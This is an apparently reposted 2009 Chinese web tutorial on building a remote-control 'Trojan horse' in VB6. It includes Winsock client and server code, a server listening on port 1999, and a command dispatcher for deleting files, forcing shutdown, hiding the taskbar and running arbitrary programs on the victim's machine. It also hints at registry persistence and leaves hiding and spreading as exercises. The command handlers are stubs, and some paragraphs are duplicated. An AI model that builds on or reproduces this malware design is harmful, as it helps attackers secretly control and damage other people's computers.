pc软件 文章资讯 手机软件

您当前的位置→图文中心安全防范用VB6.0编写“特洛伊木马”程序
阅读排行

用VB6.0编写“特洛伊木马”程序


2009/3/2  编辑:佚名 来源:本站整理

“特洛伊木马”有被称为BO, 是在美国一次黑客技术讨论会上由一个黑客组织推出的。 它其实是一种客户机/服务器程序, 其利用的原理就是:在本机直接启动运行的程序拥有与使用者相同的权限。 因此如果能够启动服务器端(即被攻击的计算机)的服务器程序, 就可以使用相应的客户端工具客户程序直接控制它了。 下面来谈谈如何用VB来实现它。

  使用VB建立两个程序, 一个为客户端程序Client, 一个为服务器端程序systry。

   在Client工程中建立一个窗体, 加载WinSock控件, 称为tcpClient, 协议选择TCP, 再加入两个文本框, 用以输入服务器的IP地址或服务器名, 然后建立一个按钮, 按下之后就可以对连接进行初始化了, 代码如下:

Private Sub cmdConnect_Click()

  If Len(Text1.Text) = 0 And Len(Text2.Text) = 0 Then

   MsgBox ("请输入主机名或主机IP地址。 ")

   Exit Sub

  Else

   If Len(Text1.Text) > 0 Then

    tcpClient.RemoteHost = Text1.Text

   Else

    tcpClient.RemoteHost = Text2.Text

   End If

  End If

  tcpClient.Connect

  Timer1.Enabled = True

End Sub

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  在服务器端systry工程也建立一个窗体, 加载WinSock控件, 称为tcpServer, 协议选择TCP, 在Form_Load事件中加入如下代码:

Private Sub Form_Load()

  tcpServer.LocalPort = 1999

  tcpServer.Listen

End Sub

  准备应答客户端程序的请求连接, 使用ConnectionRequest事件来应答户端程序的请求, 代码如下:

Private Sub tcpServer_ConnectionRequest

(ByVal requestID As Long)

  If tcpServer.State < > sckClosed Then

   tcpServer.Close‘检查控件的 State 属性是否为关闭的。

  End If ’如果不是, 在接受新的连接之前先关闭此连接。

  tcpServer.Accept requestID

End Sub

  这样在客户端程序按下了连接按钮后, 服务器端程序的ConnectionRequest事件被触发, 执行了以上的代码。 如果不出意外, 连接就被建立起来了。

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。 如:把服务器端的驱动器名、目录名、文件名等传到客户机端, 客户机端接收后用TreeView控件以树状的形式显示出来, 浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名, 而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入, 下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。 DataArrival事件程序如下:

Private Sub tcpServer_DataArrival

(ByVal bytesTotal As Long)

  Dim strData As String

  Dim i As Long

  Dim mKey As String

  tcpServer.GetData strData

  ‘接收数据并存入strData

  For i = 1 To Len(strData)

   ‘分离strData中的命令

   If Mid(strData, i, 1) = "@" Then

    mKey = Left(strData, i - 1)

    ‘把命令ID号存入mKey

    ‘把命令参数存入strData

    strData = Right(strData, Len(strData) - i)

    Exit For

   End If

  Next i

  Select Case Val(mKey)

   Case 1

   ‘驱动器名、目录名、文件名

   Case 2

    强制关闭服务器端的计算机

   Case 3

    强制重启服务器端的计算机

   Case 4

    屏蔽任务栏窗口;

   Case 5

    屏蔽开始菜单;

   Case 6

    按照客户机端传过来的文件名或目录名, 而删除它;

   Case 7

    屏蔽热启动键;

   Case 8

    运行服务器端的任何程序

  End Select

End Sub

  详细程序略。

  客户机端用tcpClient.SendData发命令。 命令包括命令ID和命令参数, 它们用符号“@”隔开。

  另外, 当客户机端断开与服务器端的来接后, 服务器端应用tcpServer_Close事件, 来继续准备接收客户机端的请求, 其代码如下:

Private Sub tcpServer_Close()

tcpServer.Close

tcpServer.Listen

End Sub

  这就是一个最基本的特洛伊木马程序, 只要你的机器运行了服务器端程序, 那别人就可以在千里之外控制你的计算机。 至于如何让服务器端程序运行就要发挥你的聪明才智了, 在我的源程序中有一中方法, 是修改系统注册表的方法。

  这就是一个最基本的特洛伊木马程序, 只要你的机器运行了服务器端程序, 那别人就可以在千里之外控制你的计算机。 至于如何让服务器端程序运行就要发挥你的聪明才智了, 在我的源程序中有一中方法, 是修改系统注册表的方法。

  成功的特洛伊木马程序要比这个复杂一些, 还有程序的隐藏、自动复制、传播等问题要解决。 警告:千万不要用BO程序破坏别人的系统。

相关文章

不如做鸡!外国学者用VR科学养鸡:-被圈养的鸡,是没有自由的。

工信部:未经批准不得自行建立或租用VPN:据工信部网站获悉,工信部决定自即日起至2018年3月31日,在全国范围内对互联网网络接入服务市场开展清理规范工作。

首宗VR眼镜色情案告破,破获的利用VR眼镜传播淫秽视频:刚刚逝去的2016年,也是公认的“VR元年”。

发表评论
网站帮助 - 广告合作 - 下载声明 - 网站地图